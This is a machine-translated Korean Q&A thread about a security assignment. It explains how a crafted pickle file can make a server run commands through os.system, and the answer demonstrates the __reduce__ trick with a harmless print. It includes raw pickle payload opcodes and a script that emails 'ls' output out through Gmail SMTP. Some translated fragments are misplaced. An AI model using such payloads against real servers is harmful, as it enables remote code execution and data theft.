2017-12-07 29 views
2

피클 파일을 보내지 않은 서버에 피클 파일을 보내도록 지정했습니다. 필자의 계획은 ls 커맨드가 프린트 된 것을 이메일로 보내주기 위해서입니다. 이 파일을 가지고 있습니다 :Pickle Exploiting

import smtplib 
import commands 
status, output = commands.getstatusoutput("ls") 
server = smtplib.SMTP_SSL('smtp.gmail.com') 
server.login("[email protected]", "password") 
server.sendmail("[email protected]", "[email protected]", output) 
server.quit() 

어떻게하면 서버를 실행할 수 있습니까? 다음과 같은 파일을 보내려고합니다 :

cos 
system 
(S'' 
tR. 

'에 파이썬 스크립트가 있습니다.

내가 좋아하는 뭔가 생각 :

cos 
system 
(S'python\n import smptlib\n ...' 
tR. 

을하지만 명령을 실행하지 않습니다. 파이썬을 어떻게 실행시킬 수 있습니까?

나는 내 컴퓨터에서 해봤으며 python이 이메일을 잘 보냈습니다.

+1

당신은 당신의 할당이 서버에 피클 파일을 보내라고 친화적 인 코드 실행
로드를 ...
friendly.py. 하지만 코드는 피클 파일을 만드는 것과 아무런 관련이 없습니다. 전자 메일에서 피클 파일 (바이너리 데이터)을 보내려는 경우 첨부 파일이됩니다. 나는 그것에 관해서 아무것도 보지 못한다. 이 점을 분명히 해 주시겠습니까? "ls"명령은 그 명령과 무엇을 관계가 있습니까? –

+0

예, 명령을 실행할 피클 파일을 보내야합니다. COS 시스템 (S'python \ n 수입 smptlib \ 없음 ... ' TR. 이 예 – Batman

+0

를 시스템 명령을 실행하는 피클 구문 COS 시스템 (S'sleep 100' tR. 은 100 초 동안 대기합니다. – Batman

답변

4

__reduce__ 방법에서 원하는대로하세요. 제발 악 하지마.

import pickle 

class Friendly(object): 
    def __reduce__(self): 
     return (friendly, ('executing friendly code',)) 

def friendly(x): 
    print x 

pickle.dump(Friendly(), open('pickled', 'w')) 
print 'loading ...' 
pickle.load(open('pickled')) 

->

$ 파이썬은

+1

우호적이라고 주장하면 더 악의적 인 것처럼 보입니다 (: – HFBrowning

+0

@HFBrowning fixed – timgeb

+1

하하! 비판이 아니 었습니다. – HFBrowning